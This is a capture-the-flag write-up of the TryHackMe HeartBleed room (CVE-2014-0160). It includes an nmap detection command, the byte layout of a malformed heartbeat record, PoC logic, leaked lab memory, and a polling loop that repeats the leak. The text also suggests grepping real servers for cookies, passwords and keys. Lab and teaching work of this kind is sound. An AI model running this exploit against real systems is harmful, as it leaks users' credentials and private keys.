| Follow @anir0y | |
|---|---|
| HeartBleed |
HeartBleed is a short, easy TryHackMe room built around one of the most famous bugs in TLS history, CVE-2014-0160 in OpenSSL. There is no shell, no privilege escalation and no web app to break: the whole room is “talk to a vulnerable OpenSSL, convince it to hand you its memory, and find the flag in what comes back.” If you enjoyed the memory-corruption angle of my Nginx Rift CVE-2026-42945 walkthrough, this is the much older and much simpler ancestor: a read primitive instead of a write. I skipped Metasploit and wrote a small Python PoC so the protocol mechanics are visible.
Task 1: How Heartbleed actually works
The first task is reading only. The short version worth keeping:
- TLS has a heartbeat extension (RFC 6520) so a peer can check the connection is alive. The client sends a heartbeat request with a payload and a 2-byte
payload_length, and the server echoes the payload back. - Vulnerable OpenSSL (1.0.1 through 1.0.1f) trusted
payload_lengthwithout checking it against the record it actually received. Send 1 byte of payload but claim 16384, and the servermemcpys 16 KB starting at your payload out of its own heap and sends it to you. - Nothing is logged, nothing crashes, and you can repeat it as often as you like. Whatever happened to sit in that heap region (other users’ requests, session cookies, credentials, sometimes private key material) leaks.
No answer needed; clicking Check registers the task.
Task 2: Leak the flag from the server’s memory
Recon: fingerprint the TLS service
The lab box was reachable straight from my Mac over the THM VPN, so no AttackBox. Two ports were open, and nmap ships an NSE script that does a safe Heartbleed probe:
nmap -sV -p22,443 --script ssl-heartbleed,ssl-cert 10.49.80.0

Port 443 is nginx 1.15.7 linked against a vulnerable OpenSSL, and the script confirms it: State: VULNERABLE. The certificate is a self-signed localhost cert for “TryHackMe, London”, expired since 2020, which is just lab dressing.
Exploit: a minimal heartbeat PoC
The classic exploit is only a few packets, so rather than reach for Metasploit’s auxiliary/scanner/ssl/openssl_heartbleed I wrote it out. The logic:
- Send a TLS 1.1 ClientHello that advertises the heartbeat extension (
000f 0001 01). - Read records until the ServerHelloDone handshake message (type
0x0e). The handshake does not need to finish; heartbeats are accepted before it does. - Send one malformed heartbeat request: content type
0x18, version0x0302, record length 3, then heartbeat type0x01and a claimed payload length of0x4000, with zero payload bytes attached. - Collect the heartbeat response records (content type 24) and dump printable strings, like
strings(1).
The malicious record really is this small:
# 18 = heartbeat, 0302 = TLS 1.1, 0003 = record length,
# 01 = request, 4000 = "my payload is 16384 bytes" (it is 0)
HEARTBEAT = bytes.fromhex("1803020003014000")
The full script is heartbleed.py in the repo. Running it once against the box:
python3 heartbleed.py 10.49.80.0 443 1
[+] leaked 16384 bytes
like Gecko) Chrome/44.0.2403.89 Safari/537.36
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
user_name=hacker101&[email protected]&user_message=THM{sSl-Is-BaD}c
That is the tail end of somebody else’s HTTPS form submission, still sitting in nginx’s heap after it was decrypted: a User-Agent, the POST headers, and the urlencoded body. The user_message field holds the flag, THM{sSl-Is-BaD} (the trailing c is just the next byte of unrelated memory). It matched the answer mask ***{**********} exactly and was accepted first try.
The honest bit: the leak is not repeatable on demand
The very first 16 KB read contained the flag. When I went back a few minutes later to capture a screenshot, it was gone: nearly 30 reads in a row (over 450 KB in total) came back as my own ClientHello followed by about 15 KB of zero bytes.
# hex of a later leak: our own ClientHello echoed back, then mostly zeros
0240009c0302000000...0000006ec014c00ac022c021...
# 16384 bytes, 14813 of them 0x00
This is Heartbleed’s real nature, not a broken lab. The bug reads whatever lives next to the heartbeat buffer at that moment. The simulated victim POST had been decrypted into that region earlier, my own handshakes reused the same freed chunk, and once it was overwritten there was nothing left to steal until the victim traffic came back. It does come back: a loop of one leak every 5 seconds hit the flag again on its 12th try, about a minute in, so the box replays the victim request periodically. On a real server you run exactly that loop and grep, because busy production traffic keeps refilling the heap with fresh secrets. If your first run comes back empty, poll it rather than assuming the target is patched.
# leak every 5 s until the flag shows up in the dump
for i in $(seq 1 120); do
python3 heartbleed.py 10.49.80.0 443 1 2>/dev/null | grep -q 'THM{' && { echo "hit on try $i"; break; }
sleep 5
done
One more lab quirk: the machine disappeared from my running VMs shortly after the room hit 100%, so the leak output above stays as text rather than a terminal screenshot.
Takeaways
- Never trust a length field the sender controls. Heartbleed is a missing bounds check: the server used the attacker’s
payload_lengthinstead of the size of the record it had actually received. The same class of bug (claimed length versus real length) still turns up in custom binary protocols, file parsers and API gateways. - Memory disclosure is probabilistic, so sample it. A single empty read proves nothing. Repeat the leak, dump the strings, and grep for what matters (cookies,
Authorizationheaders,password=, key material). Defenders should treat any confirmed Heartbleed exposure as full credential and key compromise: patch OpenSSL, then revoke and reissue certificates and rotate sessions, because you cannot know what already leaked.
Room solved 100%: 2 tasks, 2 answers.